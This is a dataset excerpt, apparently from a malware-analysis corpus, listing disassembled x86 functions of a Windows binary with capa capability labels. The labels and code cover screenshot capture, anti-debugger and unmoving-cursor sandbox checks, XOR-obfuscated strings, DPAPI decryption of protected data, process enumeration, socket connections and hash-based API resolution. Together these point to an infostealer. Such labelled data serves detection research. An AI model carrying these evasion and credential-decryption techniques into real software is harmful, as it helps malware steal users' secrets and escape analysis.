joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e460
Capabilities:
Capture screenshot
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x68
push esi
push edi
push 0
lea eax, [esp + 0x34]
mov dword [esp + 0x2c], ecx
push eax
lea eax, [esp + 0x34]
mov dword [esp + 0x2c], 0x64
push eax
mov dword [esp + 0x3c], 1
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
test eax, eax
jne 0x40e667
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 1
call esi
push 0
mov edi, eax
call esi
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_GetDC]
mov dword [esp + 0x14], eax
test eax, eax
je 0x40e65d
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [esp + 0x10], eax
test eax, eax
je 0x40e651
push edi
push esi
push dword [esp + 0x1c]
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [esp + 0x20], eax
test eax, eax
je 0x40e647
push eax
push dword [esp + 0x14]
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push dword [esp + 0x20]
push edi
push esi
push 0
push 0
push dword [esp + 0x30]
call dword [sym.imp.GDI32.dll_BitBlt]
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push eax
push 0
push dword [esp + 0x28]
call dword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
lea eax, [esp + 0xc]
mov dword [esp + 8], 0
push eax
lea eax, [esp + 0xc]
mov dword [esp + 0x10], 0
push eax
call dword [sym.imp.gdiplus.dll_GdipGetImageEncodersSize]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x40e5f1
push eax
call fcn.00509b0a
mov edi, eax
add esp, 4
mov dword [esp + 0x18], edi
test edi, edi
je 0x40e5f1
push edi
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.gdiplus.dll_GdipGetImageEncoders]
xor esi, esi
cmp dword [esp + 8], esi
jbe 0x40e5e8
add edi, 0x30
nop dword [eax]
mov eax, dword [edi]
mov ecx, str.image_png
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40e5cd
test dx, dx
je 0x40e5c9
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40e5cd
add eax, 4
add ecx, 4
test dx, dx
jne 0x40e5a7
xor eax, eax
jmp 0x40e5d2
sbb eax, eax
or eax, 1
test eax, eax
je 0x40e66f
inc esi
add edi, 0x4c
cmp esi, dword [esp + 8]
jb 0x40e5a0
mov edi, dword [esp + 0x18]
push edi
call fcn.005093b4
add esp, 4
movups xmm0, xmmword [0x52fab8]
mov esi, dword [esp + 0x1c]
lea eax, [esp + 0x24]
mov dword [esp + 0x6c], eax
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0x44]
mov dword [esp + 0x54], 1
push eax
push dword [esp + 0x30]
movups xmmword [esp + 0x60], xmm0
push esi
mov dword [esp + 0x78], 4
mov dword [esp + 0x74], 1
call dword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
push dword [esp + 0x20]
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
call dword [sym.imp.gdiplus.dll_GdipDisposeImage]
push dword [esp + 0x10]
call dword [sym.imp.GDI32.dll_DeleteObject]
push dword [esp + 0x14]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push dword [esp + 0x2c]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x18]
imul eax, esi, 0x4c
push ecx
movups xmm0, xmmword [eax + ecx]
movups xmmword [esp + 0x44], xmm0
jmp 0x40e5e9
Function at 0x419ec0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
push ebx
mov al, byte [eax + 2]
test al, al
setne bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
movzx ecx, bl
mov edx, 1
cmovne ecx, edx
pushfd
pop eax
mov dword [ebp - 4], eax
test dword [ebp - 4], 0x100
movzx eax, cl
cmovne eax, edx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41a1c0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
mov eax, 1
lea edi, [ebp - 0x30]
xor ecx, ecx
xorps xmm0, xmm0
push ebx
cpuid
mov esi, ebx
movaps xmmword [ebp - 0x30], xmm0
pop ebx
movaps xmm0, xmmword [0x5484f0]
mov dword [edi], eax
mov dword [edi + 4], esi
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov eax, dword [ebp - 0x28]
shr eax, 0x1f
and eax, 0xffffff01
mov dword [ebp - 0x30], 0xe4fbedec
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x2c], 0xe0ee
movups xmmword [ebp - 0x2a], xmm0
lea ecx, [eax - 0x79]
xor byte [ebp + eax - 0x30], cl
inc eax
cmp eax, 0xc
jb 0x41a226
xorps xmm0, xmm0
mov dword [0x55d528], eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x24], 0
movaps xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41a257
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b80
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [ebp - 0x3c]
mov esi, eax
cmp ecx, 0x10
jb 0x41a2b1
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41a2a7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a2cb
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov eax, dword [ebp - 4]
test esi, esi
movzx eax, al
mov ecx, 1
pop edi
cmove eax, ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00500390
int3
Function at 0x41c570
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5229db
push eax
mov dword fs:[0], esp
mov eax, dword [0x55d69c]
push ebx
sub esp, 0x20
push esi
mov esi, ecx
push edi
test al, 1
jne 0x41c5f8
or eax, 1
mov dword [0x55d69c], eax
xorps xmm0, xmm0
mov dword [0x55d6b8], 2
movups xmmword [0x55d6a8], xmm0
mov eax, 0x2f5c
mov dword [0x55d6bc], 0xf
push 0x52d1f0
mov word [0x55d6a8], ax
mov byte [0x55d6aa], 0
call fcn.004fb0dc
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x41c602
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41c6df
cmp dword [0x55d6bc], 0x10
mov eax, 0x55d6a8
mov edi, dword [esi + 0x10]
mov ecx, esi
cmovae eax, dword [0x55d6a8]
cmp dword [esi + 0x14], 0x10
jb 0x41c632
mov ecx, dword [esi]
push dword [0x55d6b8]
mov edx, edi
push eax
push ecx
call fcn.00488630
add esp, 0xc
cmp eax, 0xffffffff
je 0x41c6b6
cmp edi, eax
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmovb eax, edi
mov ecx, esi
cmp dword [esi + 0x14], 0x10
movups xmmword [ebp - 0x2c], xmm0
jb 0x41c66d
mov ecx, dword [esi]
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00402b80
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 1
call fcn.0041c570
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x41c6b6
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41c6ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c6f4
push ecx
push edx
call fcn.004fb0f1
add esp, 8
cmp dword [esi + 0x14], 0x10
jb 0x41c6be
mov esi, dword [esi]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00500390
int3
Function at 0x424b20
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1bc
push ebx
push esi
push edi
lea eax, [esp + 0x38]
mov dword [esp + 0x14], ecx
push eax
push 0x202
mov ebx, edx
mov dword [esp + 0x14], 0
or edi, 0xffffffff
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x424c26
push eax
push 0x433462fd
call fcn.004080b0
push 0
push 0x4334622e
movzx eax, byte [eax + 0x55ce50]
cdq
mov esi, eax
mov dword [esp + 0x20], edx
call fcn.004080b0
add esp, 0x10
cmp esi, eax
jne 0x424b8e
cmp dword [esp + 0x10], edx
je 0x424c26
lea eax, [esp + 0xc]
mov dword [esp + 0x18], 0
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0
push eax
push ebx
push dword [esp + 0x20]
xorps xmm0, xmm0
mov dword [esp + 0x30], 1
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x40], xmm0
mov dword [esp + 0x34], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x424c20
mov esi, dword [esp + 0xc]
test esi, esi
je 0x424c34
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x424c20
push dword [esi + 0x10]
push dword [esi + 0x18]
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x424c30
push edi
call ebx
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x424be4
push dword [esp + 0xc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp edi, 0xffffffff
je 0x424c20
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x425e30
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5234e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x3c
push esi
push 0x55d010
mov dword [ebp - 4], 0
call fcn.004fa3f2
add esp, 4
test eax, eax
jne 0x426054
xorps xmm0, xmm0
mov dword [ebp - 0x27], 0xf6d9c9ca
mov byte [ebp - 0x23], 0xd7
xor ecx, ecx
movq qword [ebp - 0x22], xmm0
mov word [ebp - 0x1a], ax
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 5
jb 0x425e95
mov dword [0x55d544], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x27]
mov byte [ebp - 0x22], 0
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x34], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x425ec7
sub ecx, edx
lea eax, [ebp - 0x27]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00402b80
mov byte [ebp - 4], 1
lea esi, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
cmovae esi, dword [ebp - 0x48]
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x425ef1
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x42605a
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push edx
cmovae eax, dword [ebx + 8]
push eax
push ecx
push esi
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.0048aa20
mov byte [ebp - 4], 2
mov eax, dword [0x55d108]
cmp eax, dword [0x55d10c]
je 0x425f5b
movups xmm0, xmmword [ebp - 0x30]
mov ecx, 0xf
mov byte [ebp - 0x30], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x20]
movq qword [eax + 0x10], xmm0
add dword [0x55d108], 0x18
jmp 0x425f6d
lea ecx, [ebp - 0x30]
push ecx
push eax
mov ecx, 0x55d104
call fcn.0048fbb0
mov ecx, dword [ebp - 0x1c]
mov byte [ebp - 4], 1
cmp ecx, 0x10
jb 0x425fa2
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x425f98
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42605f
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x425fda
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x425fd0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42605f
push ecx
push edx
call fcn.004fb0f1
add esp, 8
push 0x55d010
call fcn.004fa403
mov esi, dword [0x55aabc]
lea eax, [ebx + 8]
sub esp, 0x14
mov ecx, esp
push eax
call fcn.00483010
mov edx, 0x2714
mov ecx, esi
call fcn.00424c50
mov ecx, dword [ebx + 0x1c]
add esp, 0x18
test eax, eax
setg al
mov byte [ebp - 0x11], al
cmp ecx, 0x10
jb 0x426042
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x426035
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42605f
push ecx
push edx
call fcn.004fb0f1
mov al, byte [ebp - 0x11]
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push eax
call fcn.004fa09b
call fcn.004023f0
call fcn.00500390
int3
Function at 0x426df0
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x38
push esi
push edi
mov edi, dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov esi, 0x80
mov dword [esp + 0xc], edx
mov dword [esp + 0x1c], ecx
nop
lea eax, [esp + 0x10]
mov dword [esp + 0x18], esi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x30]
push eax
call edi
test eax, eax
jne 0x426e39
add esi, 0x10
cmp esi, 0x800
jbe 0x426e10
cmp esi, 0x800
jae 0x426e5e
push 0x800
call fcn.00509b0a
mov edi, eax
add esp, 4
test edi, edi
jne 0x426e66
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0x800
push 0
push edi
call fcn.004fd0d0
mov esi, dword [esp + 0x1c]
mov ecx, 0x7ff
cmp esi, 0x800
mov eax, esi
cmova eax, ecx
push eax
push dword [esp + 0x24]
push edi
call fcn.004fcb50
add esp, 0x18
mov dword [esp + 0x30], 0
xorps xmm0, xmm0
mov dword [esp + 0x34], 0
lea ecx, [esp + 0x20]
movaps xmmword [esp + 0x20], xmm0
push esi
push edi
call fcn.00402b80
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x20]
push eax
call fcn.00482e90
mov ecx, dword [esp + 0x34]
cmp ecx, 0x10
jb 0x426ef8
mov edx, dword [esp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x426eee
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x426f13
push ecx
push edx
call fcn.004fb0f1
add esp, 8
push edi
call fcn.005093b4
add esp, 4
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00500390
int3
Function at 0x453330
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x4533d4
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4533cd
nop
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x45337a
mov eax, dword [esi]
lea ecx, [esp + 0x34]
nop
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4533a0
test dl, dl
je 0x45339c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4533a0
add ecx, 2
add eax, 2
test dl, dl
jne 0x453380
xor eax, eax
jmp 0x4533a5
sbb eax, eax
or eax, 1
test eax, eax
je 0x4533c9
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x453370
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x47bb80
Capabilities:
Access peb ldr_data
Check for unmoving mouse cursor
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x18]
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetCursorPos]
push esi
push edi
push eax
call ebx
lea eax, [ebp - 0x10]
push eax
call ebx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x18]
je 0x47bc68
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
je 0x47bc68
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 8], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 4], ecx
cmp ecx, esi
je 0x47bc24
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47bc24
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
sub ebx, 4
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47bc1d
nop word [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47bc00
cmp esi, 0x2fa62ca8
je 0x47bc28
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47bbe5
mov eax, dword [eax]
jmp 0x47bbc0
mov esi, dword [ebp - 4]
mov edx, dword [ebp - 8]
push 0x3e8
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x20]
je 0x47bc68
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jne 0x47bd07
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov dword [ebp - 4], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 8], ecx
cmp ecx, edx
je 0x47bcd9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47bcd9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
nop dword [eax]
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x811c9dc5
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x47bcd2
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x47bcb5
cmp esi, 0x2fa62ca8
je 0x47bcdd
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x47bca0
mov eax, dword [eax]
jmp 0x47bc74
mov esi, dword [ebp - 8]
mov edx, dword [ebp - 4]
push 1
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ebx, dword [sym.imp.USER32.dll_GetCursorPos]
jmp 0x47bb95
push 0
push 0x43346230
call fcn.004080b0
add esp, 8
or eax, edx
je 0x47bd1e
mov bl, 1
jmp 0x47bd20
xor bl, bl
push 0
push 0x433462fd
call fcn.004080b0
add esp, 8
mov byte [eax + 0x55ce50], bl
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4850d0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x521240
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
mov eax, ecx
push esi
push edi
push 8
mov dword [ebp - 0x10], eax
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.004fae70
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.004f9c7e
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov ebx, dword [ebp - 0x10]
mov dword [edi], 0
mov dword [edx], 0
mov dword [eax + 0x10], esi
mov dword [ebx], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebx + 0x48], 0
mov byte [ebx + 0x3d], 0
mov ebx, dword [ebp - 0x14]
mov dword [eax + 0xc], ebx
mov ebx, dword [ebp - 0x10]
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
mov eax, dword [ebp - 0x18]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov edx, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
mov dword [edx + 0x4c], 0
mov eax, dword [0x55d64c]
mov ecx, dword [0x55d650]
mov dword [edx + 0x44], ecx
mov ecx, dword [ebp - 0xc]
mov dword [edx + 0x40], eax
mov eax, edx
mov dword [edx + 0x38], 0
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x485280
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52b7cd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
push 0
mov eax, dword [ebx]
push 0
mov dword [ebp - 0x14], ebx
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebx]
mov edx, dword [eax + 4]
lea eax, [edx - 0x18]
mov dword [edx + ebx - 4], eax
mov eax, dword [ebx]
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov edi, dword [eax + 4]
add edi, ebx
mov ecx, edi
mov dword [edi + 0x30], 0
mov dword [edi + 8], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0x201
mov dword [edi + 0x18], 6
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
call fcn.00403f00
push 8
call fcn.004fae70
add esp, 4
mov esi, eax
push 1
mov dword [ebp - 4], 1
call fcn.004f9c7e
mov dword [esi + 4], eax
add esp, 4
mov eax, dword [ebp + 8]
mov dword [edi + 0x30], esi
mov dword [edi + 0x38], eax
mov dword [edi + 0x3c], 0
mov esi, dword [esi + 4]
mov ecx, esi
mov dword [ebp - 0x1c], esi
mov eax, dword [esi]
call dword [eax + 4]
lea eax, [ebp - 0x20]
mov dword [ebp - 4], 2
push eax
call fcn.004867b0
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0x20
mov edx, dword [edx + 0x20]
call edx
mov byte [ebp - 4], 0
mov ecx, esi
mov edx, dword [esi]
mov byte [ebp + 0xb], al
call dword [edx + 8]
test eax, eax
je 0x485396
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
cmp dword [edi + 0x38], 0
mov al, byte [ebp + 0xb]
mov byte [edi + 0x40], al
jne 0x4853b2
mov eax, dword [edi + 0xc]
mov ecx, edi
push 0
or eax, 4
push eax
call fcn.00403f00
mov ecx, dword [ebp - 0xc]
mov eax, ebx
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4864e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x521240
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
mov eax, ecx
push esi
push edi
push 8
mov dword [ebp - 0x10], eax
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.004fae70
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.004f9c7e
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov ecx, dword [ebp - 0xc]
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
pop edi
pop esi
mov dword [edx], 0
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x487cf0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov edx, dword [ebp + 8]
mov eax, ecx
push ebx
push esi
push edi
cmp dword [edx + 0x14], 0x10
mov edi, edx
mov ebx, dword [edx + 0x10]
mov dword [ebp - 8], eax
jb 0x487d0e
mov edi, dword [edx]
xor ecx, ecx
mov esi, 0x811c9dc5
test ebx, ebx
je 0x487d34
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
cmp ecx, ebx
jb 0x487d20
mov eax, dword [ebp - 8]
push esi
push edx
lea ecx, [ebp - 0xc]
push ecx
mov ecx, eax
call fcn.0048e340
xor ecx, ecx
pop edi
pop esi
cmp dword [eax + 4], ecx
